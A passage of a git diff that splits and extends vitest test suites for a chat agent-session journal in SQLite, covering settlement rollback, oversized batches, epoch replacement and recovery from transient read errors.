'../../../shared/agent-session-provider-handle-encoding' -import type { AgentSessionSubscribeEvent } from '../../../shared/agent-session-wire' -import { AgentSessionSubscribers } from '../agent-session-wire/structured-agent-session-subscribers' -import { settleStaleStructuredAgentSessionState } from '../agent-session-wire/structured-agent-session-dead-generation-settlement' -import { settleObservedExitForTest } from '../agent-session-wire/structured-agent-session-observed-exit.test-fixture' -import { - createTrackedJournalOpener, - openTestJournalHostDatabase, - readTestJournalRows -} from './journal-host-database-test-support' -import type { JournalLifecycleMutationInput } from './journal-row-builders' -import { MAX_JOURNAL_LIFECYCLE_BATCH_BYTES, parseJournalRow } from './journal-row-schema' -import type { AgentSessionJournal } from './journal-store' +import { createFixture } from './journal-atomic-settlement-contract-test-fixture' +import { registerJournalAtomicSettlementRollbackTests } from './journal-atomic-settlement-rollback.spec' +import { registerJournalAtomicSettlementOversizedTests } from './journal-atomic-settlement-oversized.spec' export function registerJournalAtomicTerminalSettlementTests(): void { - const SESSION = 'atomic-settlement' - const journals = createTrackedJournalOpener() - let root: string - let journal: AgentSessionJournal - - async function open(sessionId = SESSION) { - return journals.open({ - identity: { - sessionId, - workspaceId: 'folder-workspace', - hostId: 'host', - agent: 'codex', - providerHandle: codexProviderHandle('thread') - }, - stateDirectory: root, - now: () => 1_000 - }) - } - - beforeEach(async () => { - root = await mkdtemp(join(tmpdir(), 'orca-atomic-settlement-')) - journal = await open() - }) - - afterEach(async () => { - vi.restoreAllMocks() - await journals.closeAll() - await rm(root, { recursive: true, force: true }) - }) - - function rows() { - return readTestJournalRows(openTestJournalHostDatabase(root).db, SESSION, journal.epoch).map( - (stored) => { - const parsed = parseJournalRow(stored.rowJson) - if (!parsed.ok) { - throw new Error('test row failed to parse') - } - return parsed.row - } - ) - } - - async function seedWork(count = 201) { - await journal.appendSubmission({ - clientMessageId: 'send', - payloadFingerprint: 'fingerprint', - body: { kind: 'message', role: 'user', blocks: [{ type: 'text', text: 'continue' }] }, - fence: 7 - }) - const turn = await journal.appendItem( - { provider: 'orca', clientMessageId: 'turn' }, - { kind: 'turn', turnId: 'turn', state: 'running', startedAt: 900 }, - { fence: 7, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ) - for (let index = 0; index < count; index++) { - await journal.appendItem( - { provider: 'orca', clientMessageId: `call-${index}` }, - { - kind: 'tool-call', - name: 'Write', - input: { content: index === 0 ? '界😀'.repeat(220_000) : 'small' }, - state: 'running' - }, - { - fence: 7, - turnScope: { kind: 'turn', turnItemId: turn.itemId }, - agentId: 'child', - producerKind: 'agent' - } - ) - } - } - - function settle() { - return settleObservedExitForTest({ - journal, - sessionId: SESSION, - fence: 7, - settlementId: `exit:${SESSION}:7`, - verdict: { state: 'interrupted', completedAt: 1_000 }, - pendingSubmissionReason: 'provider_exited_before_acknowledgement', - showUnexpectedExitOutcome: true - }) - } - - describe('atomic terminal settlement', () => { - it.each(['item', 'lifecycle-batch'] as const)( - 'rolls back a later %s rejection, publishes nothing, then retries exactly once', - async (kind) => { - await seedWork() - const database = openTestJournalHostDatabase(root) - const before = journal.snapshot() - const diskBefore = rows() - const published: AgentJournalSnapshot[] = [] - const frames: AgentSessionSubscribeEvent[] = [] - const emittedStates: AgentJournalSnapshot[] = [] - const subscribers = new AgentSessionSubscribers() - subscribers.open({ - id: 'reader', - sessionId: SESSION, - journal, - fence: 7, - cursor: before.cursor, - emit: (event) => { - frames.push(event) - emittedStates.push(journal.snapshot()) - } - }) - frames.length = 0 - emittedStates.length = 0 - journal.observeCommits(() => { - published.push(journal.snapshot()) - subscribers.publish(SESSION, journal) - }) - const sawEarlierInserts: number[] = [] - const transaction = database.transaction.bind(database) - vi.spyOn(database, 'transaction').mockImplementation((run) => - transaction((db) => { - try { - const result = run(db) - expect(journal.snapshot()).toEqual(before) - expect(published).toEqual([]) - expect(frames).toEqual([]) - return result - } catch (error) { - sawEarlierInserts.push(rows().length - diskBefore.length) - expect(journal.snapshot()).toEqual(before) - expect(published).toEqual([]) - expect(frames).toEqual([]) - throw error - } - }) - ) - database.db.exec(`CREATE TEMP TRIGGER reject_later_settlement BEFORE INSERT ON journal_rows - WHEN NEW.session_id = '${SESSION}' AND json_extract(NEW.row_json, '$.recovered') = 1 - AND json_extract(NEW.row_json, '$.kind') = '${kind}' - AND NEW.seq > ${before.cursor.sequence + 1} - BEGIN SELECT RAISE(ABORT, 'later settlement row rejected'); END`) - - expect(await settle()).toMatchObject({ ok: false }) - expect(sawEarlierInserts[0]).toBeGreaterThan(0) - expect(rows()).toEqual(diskBefore) - expect(journal.cursor()).toEqual(before.cursor) - expect(journal.snapshot()).toEqual(before) - expect(published).toEqual([]) - expect(frames).toEqual([]) - - vi.restoreAllMocks() - - const other = await open('other-chat') - await expect( - other.appendSubmission({ - clientMessageId: 'unrelated', - payloadFingerprint: 'other', - fence: 0, - body: { kind: 'message', role: 'user', blocks: [{ type: 'text', text: 'hello' }] } - }) - ).resolves.toMatchObject({ sequence: 2 }) - - database.db.exec('DROP TRIGGER reject_later_settlement') - vi.spyOn(database, 'transaction').mockImplementation((run) => - transaction((db) => { - const result = run(db) - expect(journal.snapshot()).toEqual(before) - expect(published).toEqual([]) - expect(frames).toEqual([]) - return result - }) - ) - expect(await settle()).toMatchObject({ ok: true }) - vi.restoreAllMocks() - const settled = journal.snapshot() - expect(published).toEqual([settled]) - expect(frames.length).toBeGreaterThan(0) - expect( - emittedStates.every((state) => state.cursor.sequence === settled.cursor.sequence) - ).toBe(true) - expect( - emittedStates.every((state) => - state.items.every( - (item) => item.body.kind !== 'tool-call' || item.body.state === 'failed' - ) - ) - ).toBe(true) - expect(frames.at(-1)).toMatchObject({ type: 'batch', batch: { cursor: settled.cursor } }) - const frameCount = frames.length - expect(settled.submissions[0]).toMatchObject({ dispatchState: 'unknown', recovered: true }) - expect(journal.runningTurn()?.turnId ?? null).toBeNull() - const calls = settled.items.filter((item) => item.body.kind === 'tool-call') - expect(calls).toHaveLength(201) - expect( - calls.every((item) => item.body.kind === 'tool-call' && item.body.state === 'failed') - ).toBe(true) - expect(calls[0]).toMatchObject({ - observedAt: 1_000, - agentId: 'child', - revision: 2, - body: { endedAs: 'interrupted', input: { content: '界😀'.repeat(220_000) } } - }) - const committed = rows().slice(diskBefore.length) - expect(committed.map((row) => row.kind)).toEqual([ - 'dispatch', - 'lifecycle-batch', - 'item', - 'lifecycle-batch', - 'lifecycle-batch' - ]) - expect(committed.every((row) => row.recovered)).toBe(true) - expect(await settle()).toMatchObject({ ok: true }) - expect(journal.snapshot()).toEqual(settled) - expect(rows().slice(diskBefore.length)).toEqual(committed) - expect(published).toEqual([settled]) - expect(frames).toHaveLength(frameCount) - await journal.close() - journal = await open() - expect(journal.snapshot()).toEqual(settled) - expect(await settle()).toMatchObject({ ok: true }) - expect(journal.snapshot()).toEqual(settled) - } - ) - - it('writes an all-oversized settlement with full bodies, and deduplicates it after replay', async () => { - await seedWork(2) - const calls = journal.snapshot().items.filter((item) => item.body.kind === 'tool-call') - const mutations: JournalLifecycleMutationInput[] = calls.map((item, index) => ({ - kind: 'item', - observedAt: index + 1, - identity: { provider: 'orca', clientMessageId: `call-${index}` }, - body: { - kind: 'tool-call', - name: 'Write', - state: 'failed', - endedAs: 'interrupted', - input: { content: 'x'.repeat(MAX_JOURNAL_LIFECYCLE_BATCH_BYTES + index) } - }, - turnScope: item.turnScope ?? AGENT_JOURNAL_THREAD_SCOPE - })) - const input = { - settlementId: 'all-oversized:7', - fence: 7, - recovered: true as const, - mutations - } - const before = journal.cursor() - const published: AgentJournalSnapshot[] = [] - journal.observeCommits(() => published.push(journal.snapshot())) - await journal.appendLifecycleBatch(input) - const settled = journal.snapshot() - expect(journal.cursor().sequence).toBe(before.sequence + 2) - expect( - rows() - .slice(-2) - .map((row) => row.kind) - ).toEqual(['item', 'item']) - expect( - settled.items.filter((item) => item.body.kind === 'tool-call').map((item) => item.body) - ).toEqual(mutations.flatMap((mutation) => (mutation.kind === 'item' ? [mutation.body] : []))) - expect( - rows() - .slice(-2) - .map((row) => row.ts) - ).toEqual([1, 2]) - expect( - settled.items - .filter((item) => item.body.kind === 'tool-call') - .map((item) => item.observedAt) - ).toEqual(calls.map((item) => item.observedAt)) - expect(published).toEqual([settled]) - await journal.appendLifecycleBatch(input) - expect(journal.snapshot()).toEqual(settled) - expect(published).toEqual([settled]) - expect( - await journal.appendSteps([ - { - kind: 'settlement', - batch: { - settlementId: input.settlementId, - fence: input.fence, - recovered: true, - resolve: () => mutations - } - } - ]) - ).toEqual([false]) - expect(journal.snapshot()).toEqual(settled) - await journal.close() - journal = await open() - await journal.appendLifecycleBatch(input) - expect(journal.snapshot()).toEqual(settled) - }) - - it('settles stale work through the same oversized fallback without duplicating its outcome', async () => { - await seedWork(1) - const input = { - journal, - sessionId: SESSION, - fence: 8, - acquisitionGeneration: 'new-generation', - deathEvidence: { - kind: 'exit-observed' as const, - ownerFence: 7, - observedAt: 1_000, - detail: '' - } - } - expect(await settleStaleStructuredAgentSessionState(input)).toBeGreaterThan(0) - const settled = journal.snapshot() - expect(await settleStaleStructuredAgentSessionState(input)).toBe(0) - expect(journal.snapshot()).toEqual(settled) - expect(rows().some((row) => row.kind === 'item' && row.recovered)).toBe(true) - }) - - it('uses an ordinary recovered tombstone when the settlement namespace exceeds the batch cap', async () => { - const identity = { provider: 'orca' as const, clientMessageId: 'remove-item' } - await journal.appendItem( - identity, - { kind: 'status', text: 'remove me' }, - { - fence: 7, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - } - ) - const before = journal.cursor() - const input = { - settlementId: 'x'.repeat(MAX_JOURNAL_LIFECYCLE_BATCH_BYTES), - fence: 7, - recovered: true as const, - mutations: [{ kind: 'tombstone' as const, identity }] - } - await journal.appendLifecycleBatch(input) - expect(journal.snapshot().items).toEqual([]) - expect(journal.cursor().sequence).toBe(before.sequence + 1) - expect(rows().at(-1)).toMatchObject({ kind: 'tombstone', recovered: true }) - await journal.appendLifecycleBatch(input) - expect(journal.cursor().sequence).toBe(before.sequence + 1) - }) - - it.each(['startup', 'stop'] as const)( - 'rolls back the %s submission verdict with its oversized item', - async (mode) => { - await journal.appendSubmission({ - clientMessageId: 'unanswered', - payloadFingerprint: 'unanswered', - fence: 7, - handoverRecorded: true, - body: { kind: 'message', role: 'user', blocks: [{ type: 'text', text: 'next' }] } - }) - await journal.resolveDispatch({ - clientMessageId: 'unanswered', - state: 'pending', - fence: 7, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - if (mode === 'stop') { - await journal.appendStopEvent({ reason: 'user-stop' }, 7) - } - await journal.appendItem( - { provider: 'orca', clientMessageId: 'oversized-call' }, - { - kind: 'tool-call', - name: 'Write', - input: 'x'.repeat(MAX_JOURNAL_LIFECYCLE_BATCH_BYTES), - state: 'running' - }, - { fence: 7, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ) - const input = { - journal, - sessionId: SESSION, - fence: 7, - settlementId: `${mode}:7`, - verdict: { state: 'interrupted' as const, completedAt: 1_000 }, - pendingSubmissionReason: 'owner exited', - showUnexpectedExitOutcome: mode === 'startup', - ...(mode === 'startup' ? { exitedDuringStartup: { generation: 'start-7' } } : {}) - } - const database = openTestJournalHostDatabase(root) - const before = journal.snapshot() - const diskBefore = rows() - const published: AgentJournalSnapshot[] = [] - journal.observeCommits(() => published.push(journal.snapshot())) - database.db.exec(`CREATE TEMP TRIGGER reject_submission_settlement_item - BEFORE INSERT ON journal_rows - WHEN NEW.session_id = '${SESSION}' AND json_extract(NEW.row_json, '$.recovered') = 1 - AND json_extract(NEW.row_json, '$.kind') = 'item' - BEGIN SELECT RAISE(ABORT, 'item rejected after submission'); END`) - expect(await settleObservedExitForTest(input)).toMatchObject({ ok: false }) - expect(journal.snapshot()).toEqual(before) - expect(rows()).toEqual(diskBefore) - expect(published).toEqual([]) - database.db.exec('DROP TRIGGER reject_submission_settlement_item') - expect(await settleObservedExitForTest(input)).toMatchObject({ ok: true }) - expect(journal.submission('unanswered')).toMatchObject({ - dispatchState: 'rejected', - recovered: true, - rejection: { kind: mode === 'stop' ? 'cancelled' : 'providerStartFailed' } - }) - const committed = rows().slice(diskBefore.length) - expect(committed.filter((row) => row.kind === 'dispatch')).toHaveLength(1) - expect(published).toEqual([journal.snapshot()]) - expect(await settleObservedExitForTest(input)).toMatchObject({ ok: true }) - expect(rows().slice(diskBefore.length)).toEqual(committed) - expect(published).toHaveLength(1) - } - ) - }) + const fixture = createFixture() + registerJournalAtomicSettlementRollbackTests(fixture) + registerJournalAtomicSettlementOversizedTests(fixture) } diff --git a/src/main/native-chat/agent-session-journal/journal-cursor.ts b/src/main/native-chat/agent-session-journal/journal-cursor.ts index cb8021eba41..b9584170100 100644 --- a/src/main/native-chat/agent-session-journal/journal-cursor.ts +++ b/src/main/native-chat/agent-session-journal/journal-cursor.ts @@ -5,7 +5,7 @@ import type { AgentJournalResetReason } from '../../../shared/agent-session-journal-types' import type { JournalReadSince } from './journal-store-contracts' -import type { JournalRow } from './journal-row-schema' +import type { JournalReadRow } from './journal-read-row' export type JournalCursorRange = { epoch: string @@ -22,6 +22,18 @@ export function sameJournalCursor(a: AgentJournalCursor, b: AgentJournalCursor): return a.epoch === b.epoch && a.sequence === b.sequence } +export function journalWroteBeforeOpen( + current: Pick, + openedThrough: AgentJournalCursor, + sequence: number | undefined +): boolean { + return ( + sequence !== undefined && + current.epoch === openedThrough.epoch && + sequence <= openedThrough.sequence + ) +} + /** Reload snapshots for epoch mismatches, rolled-back prefixes or compacted cursors. */ export function resolveJournalResume( range: JournalCursorRange, @@ -58,7 +70,7 @@ export function findSequenceGap( export function readJournalSince( source: { state: { epoch: string; lastSequence: number; oldestSequence: number } - rowsAfter: (afterSequence: number) => JournalRow[] + rowsAfter: (afterSequence: number) => JournalReadRow[] }, cursor: AgentJournalCursor, currentCursor: () => AgentJournalCursor diff --git a/src/main/native-chat/agent-session-journal/journal-damage.test.ts b/src/main/native-chat/agent-session-journal/journal-damage.test.ts index 6117f56cf4e..0d2b062decb 100644 --- a/src/main/native-chat/agent-session-journal/journal-damage.test.ts +++ b/src/main/native-chat/agent-session-journal/journal-damage.test.ts @@ -1,7 +1,7 @@ import { mkdtemp, rm } from 'node:fs/promises' import { tmpdir } from 'node:os' import { join } from 'node:path' -import { afterEach, beforeEach, describe, expect, it } from 'vitest' +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' import { AGENT_JOURNAL_THREAD_SCOPE, type AgentJournalItemBody, @@ -9,7 +9,7 @@ import { type AgentSessionJournalIdentity } from '../../../shared/agent-session-journal-types' import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' -import type Database from '../../sqlite/sync-database' +import Database from '../../sqlite/sync-database' import type { openAgentSessionJournal } from './journal-store-factory' import { createTrackedJournalOpener, @@ -20,6 +20,7 @@ import { deleteTestJournalRow, SAVED_BY_NEWER_ORCA } from './journal-host-database-test-support' +import { journalOpenRefusalError } from './journal-open-failure' const IDENTITY: AgentSessionJournalIdentity = { sessionId: 'session-1', @@ -35,7 +36,7 @@ const UNLOADABLE = { let root: string let clock = 1_000 -const journals = createTrackedJournalOpener() +const journals = createTrackedJournalOpener({ legacyInputs: true }) function item(ordinal: number): AgentJournalItemIdentity { return { provider: 'codex', threadId: 'thread-1', turnId: 'turn-1', ordinal } @@ -141,17 +142,71 @@ describe('a damaged chat', () => { }) }) - it("reads past damage to a newer build's row, which fails the load as a newer Orca's instead", async () => { - await writeChat() - await withJournalDatabase((db) => { - updateTestJournalRowJson(db, IDENTITY.sessionId, 3, '}{') - const newer = { ...JSON.parse(storedRowJson(db, 5)), kind: 'checkpoint' } - updateTestJournalRowJson(db, IDENTITY.sessionId, 5, JSON.stringify(newer)) - }) - const before = await storedRows() + it.each([1, 3])( + "reads past damage at row %i to a newer build's row, which fails the load as a newer Orca's instead", + async (damaged) => { + await writeChat() + await withJournalDatabase((db) => { + updateTestJournalRowJson(db, IDENTITY.sessionId, damaged, '}{') + const newer = { ...JSON.parse(storedRowJson(db, 5)), kind: 'checkpoint' } + updateTestJournalRowJson(db, IDENTITY.sessionId, 5, JSON.stringify(newer)) + }) + const before = await storedRows() - await expect(open()).rejects.toMatchObject(SAVED_BY_NEWER_ORCA) - expect(await storedRows()).toEqual(before) + await expect(open()).rejects.toMatchObject(SAVED_BY_NEWER_ORCA) + expect(await storedRows()).toEqual(before) + } + ) +}) + +describe('a chat whose saved state cannot be read right now', () => { + const outcomes = createTrackedJournalOpener() + afterEach(async () => { + vi.restoreAllMocks() + await outcomes.closeAll() + }) + + it('refuses the open as unavailable on a transient read error, and the next open loads it', async () => { + const options = { + identity: IDENTITY, + stateDirectory: root, + now: () => (clock += 1), + mintEpoch: () => `epoch-${clock}` + } + const journal = await outcomes.open(options) + await journal.appendItem(item(0), body('kept'), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + await journal.close() + let failures = 1 + const prepare = Database.prototype.prepare + vi.spyOn(Database.prototype, 'prepare').mockImplementation(function ( + this: Database, + sql: string + ) { + if (failures > 0 && sql.includes('FROM journal_outcomes')) { + failures -= 1 + throw Object.assign(new Error('disk I/O error'), { code: 'ERR_SQLITE_ERROR', errcode: 10 }) + } + return prepare.call(this, sql) + }) + + // As on main, the storage error reaches the host, which reports "unavailable, try again". + const failure = await outcomes.open(options).then( + () => null, + (error: unknown) => error + ) + expect(failure).toMatchObject({ code: 'ERR_SQLITE_ERROR' }) + expect(journalOpenRefusalError(failure)).toMatchObject({ + refusal: { + code: 'agent_session_journal_unreadable', + details: { reason: 'journalUnavailable' } + } + }) + expect(failures).toBe(0) + const reopened = await outcomes.open(options) + expect(reopened.snapshot().items.map((entry) => entry.body)).toEqual([body('kept')]) }) }) diff --git a/src/main/native-chat/agent-session-journal/journal-database.ts b/src/main/native-chat/agent-session-journal/journal-database.ts index c5be4fbb676..2efa705074d 100644 --- a/src/main/native-chat/agent-session-journal/journal-database.ts +++ b/src/main/native-chat/agent-session-journal/journal-database.ts @@ -1,5 +1,6 @@ // Read user_version before persistent pragmas/DDL: even enabling WAL mutates newer databases. +import { ensureJournalOutcomeTables } from './journal-outcome-format' import Database from '../../sqlite/sync-database' import { hardenSqliteDatabaseFiles } from '../../sqlite/harden-database-files' import { @@ -72,6 +73,7 @@ export function openJournalDatabase(dbPath: string): OpenJournalDatabase { // Additive tables must exist on every writable open, even when version migration returns early. ensureQueuedMessagesTable(probe) ensureCommandReceiptsTable(probe) + ensureJournalOutcomeTables(probe) ensureAgentSessionAttachmentClaimTables(probe) hardenSqliteDatabaseFiles(dbPath) transferred = true diff --git a/src/main/native-chat/agent-session-journal/journal-derived-turn-scope.ts b/src/main/native-chat/agent-session-journal/journal-derived-turn-scope.ts index 5b4236e1d1c..52ff383f538 100644 --- a/src/main/native-chat/agent-session-journal/journal-derived-turn-scope.ts +++ b/src/main/native-chat/agent-session-journal/journal-derived-turn-scope.ts @@ -12,6 +12,16 @@ import { isAgentSessionContextClear } from '../../../shared/agent-session-contex export class JournalDerivedTurnScope { private openTurnItemId: string | null = null + snapshot(): string | null { + return this.openTurnItemId + } + + static restore(openTurnItemId: string | null): JournalDerivedTurnScope { + const scope = new JournalDerivedTurnScope() + scope.openTurnItemId = openTurnItemId + return scope + } + scopeFor(body: AgentJournalItemBody): AgentJournalTurnScope { return this.openTurnItemId === null || readAgentJournalTurn(body) ? AGENT_JOURNAL_THREAD_SCOPE diff --git a/src/main/native-chat/agent-session-journal/journal-epoch-controller.ts b/src/main/native-chat/agent-session-journal/journal-epoch-controller.ts index 2d58733db12..c9b1e731e42 100644 --- a/src/main/native-chat/agent-session-journal/journal-epoch-controller.ts +++ b/src/main/native-chat/agent-session-journal/journal-epoch-controller.ts @@ -36,8 +36,9 @@ export class JournalEpochController { } ) {} - start(reason: AgentJournalEpochReason, fence: number): void { + start(reason: AgentJournalEpochReason, fence: number, expectedEpoch: string | null): void { publishNewEpoch({ + expectedEpoch, database: this.deps.database(), identity: this.deps.identity, epoch: this.deps.mintEpoch(), @@ -53,7 +54,7 @@ export class JournalEpochController { roll(reason: AgentJournalEpochReason, fence: number): Promise { return this.deps.serialize(() => { assertJournalWritable(this.deps.readOnly(), this.deps.identity.sessionId) - this.start(reason, fence) + this.start(reason, fence, this.deps.state().epoch) return this.deps.cursor() }) } diff --git a/src/main/native-chat/agent-session-journal/journal-epoch-replacement-contract-test-fixture.ts b/src/main/native-chat/agent-session-journal/journal-epoch-replacement-contract-test-fixture.ts new file mode 100644 index 00000000000..cf08e0b4c13 --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-epoch-replacement-contract-test-fixture.ts @@ -0,0 +1,161 @@ +import { mkdtemp, rm, mkdir, writeFile } from 'node:fs/promises' +import { randomUUID } from 'node:crypto' +import { tmpdir } from 'node:os' +import { join, dirname } from 'node:path' +import { afterEach, beforeEach } from 'vitest' +import type { + AgentJournalItemIdentity, + AgentJournalMessageItem, + AgentSessionJournalIdentity +} from '../../../shared/agent-session-journal-types' +import type { JournalHostDatabase } from './journal-host-database' +import { replaceJournalEpoch } from './journal-epoch-replacement' +import type { JournalLoad } from './journal-open' +import { + createTrackedJournalOpener, + openTestJournalHostDatabase +} from './journal-host-database-test-support' +import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' +import { formatNativeChatFileReference } from '../../../shared/agent-image-paste' +import { agentSessionSendBodyFingerprint } from '../../../shared/structured-agent-session-send-mutation' +import * as attachmentReferences from '../agent-session-attachments/agent-session-attachment-references' + +export function createFixture() { + const IDENTITY: AgentSessionJournalIdentity = { + sessionId: 'session-1', + workspaceId: 'ws-1', + hostId: 'host-1', + agent: 'codex', + providerHandle: codexProviderHandle('thread-1') + } + + const PEER: AgentSessionJournalIdentity = { + ...IDENTITY, + sessionId: 'session-peer', + providerHandle: codexProviderHandle('thread-peer') + } + + let root: string + + let clock = 1_000 + + let database: JournalHostDatabase + + const journals = createTrackedJournalOpener() + + function now(): number { + clock += 1 + return clock + } + + function storedRows(sessionId: string, epoch: string): number { + return Number( + database.db + .prepare('SELECT count(*) AS total FROM journal_rows WHERE session_id = ? AND epoch = ?') + .get(sessionId, epoch)?.total + ) + } + + function item(ordinal: number): AgentJournalItemIdentity { + return { provider: 'codex', threadId: 'thread-1', turnId: 'turn-1', ordinal } + } + + function replace(input: { + items: Parameters[0]['items'] + onPublished?: (loaded: JournalLoad) => void + }): void { + replaceJournalEpoch({ + database, + identity: IDENTITY, + reason: 'legacy_import', + fence: 1, + items: input.items, + queuePause: { lifted: false, liveStop: null, reopened: false }, + queue: { cards: [], receipt: { write: () => {}, committed: () => {} } }, + now, + mintEpoch: () => `epoch-${clock}`, + onPublished: input.onPublished ?? (() => undefined) + }) + } + + beforeEach(async () => { + root = await mkdtemp(join(tmpdir(), 'orca-journal-replace-')) + clock = 1_000 + database = openTestJournalHostDatabase(root) + }) + + afterEach(async () => { + try { + await database.close() + } catch {} + await journals.closeAll() + await rm(root, { recursive: true, force: true }) + }) + + async function legacyInputs(count: number) { + const existing = await journals.open({ identity: IDENTITY, stateDirectory: root }) + await existing.close() + const files: { id: string; path: string; body: AgentJournalMessageItem }[] = [] + for (let n = 0; n < count; n++) { + const id = randomUUID() + const path = join( + attachmentReferences.agentSessionAttachmentStoreRoot(root), + id, + 'source.txt' + ) + await mkdir(dirname(path), { recursive: true }) + await writeFile(path, 'queued source') + const body: AgentJournalMessageItem = { + kind: 'message', + role: 'user', + blocks: [{ type: 'text', text: formatNativeChatFileReference(path) }] + } + database.db + .prepare(`INSERT INTO queued_messages + (session_id, message_id, position, body_json, fingerprint, created_at, host_instance, state, hold_reason, returned_reason, consumed_as) + VALUES (?, ?, ?, ?, ?, 0, 'earlier', ?, ?, ?, ?)`) + .run( + IDENTITY.sessionId, + `queue-${n}`, + n + 1, + JSON.stringify(body), + agentSessionSendBodyFingerprint(IDENTITY.sessionId, body), + n % 2 ? 'returned' : 'waiting', + n % 2 ? null : 'send_failed', + n % 2 ? 'refused before' : null, + n % 2 ? `old-${n}` : null + ) + files.push({ id, path, body }) + } + return files + } + + return { + IDENTITY, + PEER, + get clock() { + return clock + }, + set clock(value: typeof clock) { + clock = value + }, + get database() { + return database + }, + set database(value: typeof database) { + database = value + }, + item, + journals, + legacyInputs, + now, + replace, + get root() { + return root + }, + set root(value: typeof root) { + root = value + }, + storedRows + } +} diff --git a/src/main/native-chat/agent-session-journal/journal-epoch-replacement-receipts.spec.ts b/src/main/native-chat/agent-session-journal/journal-epoch-replacement-receipts.spec.ts new file mode 100644 index 00000000000..a6f3e29b683 --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-epoch-replacement-receipts.spec.ts @@ -0,0 +1,229 @@ +import type { createFixture } from './journal-epoch-replacement-contract-test-fixture' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' +import { readFile } from 'node:fs/promises' +import { describe, expect, it, vi } from 'vitest' +import type { JournalLoad } from './journal-open' +import type { AgentSessionJournal } from './journal-store' +import { readJournalSessionEpoch } from './journal-row-table' +import { openTestJournalHostDatabase } from './journal-host-database-test-support' +import { markUnclaimedUploadForSweep } from '../agent-session-attachments/agent-session-attachment-claims' +import { JournalGoalAttachmentInverse } from './journal-goal-attachment-inverse' +import * as attachmentReferences from '../agent-session-attachments/agent-session-attachment-references' + +export function registerJournalEpochReplacementReceiptsTests( + fixture: ReturnType +): void { + describe('journal epoch replacement', () => { + it('publishes one observable replacement', () => { + const published: JournalLoad[] = [] + + fixture.replace({ + items: [ + { + identity: fixture.item(1), + body: { kind: 'status', text: 'republished' }, + ownerFence: 1 + } + ], + onPublished: (loaded) => published.push(loaded) + }) + + expect(published).toHaveLength(1) + const epoch = readJournalSessionEpoch(fixture.database.db, fixture.IDENTITY.sessionId) + expect(epoch).toBe(published[0]?.state.epoch) + expect(fixture.storedRows(fixture.IDENTITY.sessionId, epoch ?? '')).toBe(1) + expect(published[0]?.state.lastSequence).toBe(2) + }) + + it.each([ + [ + 'a replace', + (journal: AgentSessionJournal) => + journal.replaceEpochItems('legacy_import', 1, [ + { + identity: fixture.item(9), + body: { kind: 'status', text: 'republished' }, + ownerFence: 1 + } + ]) + ], + ['a rollover', (journal: AgentSessionJournal) => journal.rollEpoch('handle_forked', 1)] + ])('discards every superseded row in the same transaction as %s', async (_name, retire) => { + const journal = await fixture.journals.open({ + identity: fixture.IDENTITY, + stateDirectory: fixture.root + }) + const peer = await fixture.journals.open({ + identity: fixture.PEER, + stateDirectory: fixture.root + }) + const scope = { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + await journal.appendItem(fixture.item(1), { kind: 'status', text: 'old' }, scope) + await journal.appendItem(fixture.item(2), { kind: 'status', text: 'older' }, scope) + await peer.appendItem(fixture.item(1), { kind: 'status', text: 'peer' }, scope) + const before = journal.epoch + + await retire(journal) + + expect(journal.epoch).not.toBe(before) + expect(fixture.storedRows(fixture.IDENTITY.sessionId, before)).toBe(0) + expect(fixture.storedRows(fixture.IDENTITY.sessionId, journal.epoch)).toBe(1) + expect(fixture.storedRows(fixture.PEER.sessionId, peer.epoch)).toBe(1) + }) + }) + + it.each([ + ['replace', 1], + ['replace', 10], + ['roll', 1], + ['roll', 10] + ] as const)( + 'claims each actual carried card once through %s at Q=%i, with no prior claim and after reopen', + async (mode, count) => { + const files = await fixture.legacyInputs(count) + const journal = await fixture.journals.open({ + identity: fixture.IDENTITY, + stateDirectory: fixture.root + }) + const { db } = fixture.database + expect( + db.prepare('SELECT upload_id FROM agent_session_attachment_claims').all() + ).toHaveLength(0) + const cards = () => + journal.queuedMessages + .list() + .map(({ messageId, body, state, holdReason, returnedReason }) => ({ + messageId, + body, + state, + holdReason, + returnedReason + })) + const before = cards() + const goal = { provider: 'orca' as const, clientMessageId: 'live-goal' } + await journal.appendClaimingAttachments( + goal, + { ...files[0].body, sentAs: 'goal' }, + { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + const extraction = vi.spyOn(attachmentReferences, 'agentSessionAttachmentReferences') + const insertion = vi.spyOn( + db.prepare( + 'INSERT OR IGNORE INTO agent_session_attachment_claims (upload_id, session_id, claimed_at) VALUES (?, ?, ?)' + ), + 'run' + ) + const acquired = vi.spyOn(JournalGoalAttachmentInverse.prototype, 'acquired') + await (mode === 'replace' + ? journal.replaceEpochItems('legacy_import', 1, []) + : journal.rollEpoch('handle_forked', 1)) + expect(extraction).toHaveBeenCalledTimes(count) + expect(insertion).toHaveBeenCalledTimes(count) + expect(acquired).toHaveBeenCalledTimes(count) + expect(cards()).toEqual(before) + process.stdout.write( + `pr34654-epoch-contract ${JSON.stringify({ mode, count, extractions: extraction.mock.calls.length, insertions: insertion.mock.calls.length, acquired: acquired.mock.calls.length })}\n` + ) + await journal.withdrawGoalObjective(goal, { fence: 1 }) + expect( + db.prepare('SELECT upload_id FROM agent_session_attachment_claims').all() + ).toHaveLength(count) + if (mode === 'replace') { + const card = journal.queuedMessages.get('queue-0') + if (!card) { + throw new Error('missing carried card') + } + await journal.appendSubmission({ + clientMessageId: 'pending', + payloadFingerprint: card.fingerprint, + body: card.body, + fence: 1, + handoverRecorded: true, + queuedMessageId: card.messageId + }) + expect(journal.queuedMessages.get('queue-0')?.state).toBe('dispatched') + extraction.mockClear() + insertion.mockClear() + acquired.mockClear() + await journal.replaceEpochItems('legacy_import', 1, [ + { + identity: fixture.item(9), + body: card.body, + ownerFence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + } + ]) + expect(extraction).toHaveBeenCalledTimes(count + 2) + expect(insertion).toHaveBeenCalledTimes(count + 2) + expect(acquired).toHaveBeenCalledTimes(count + 2) + 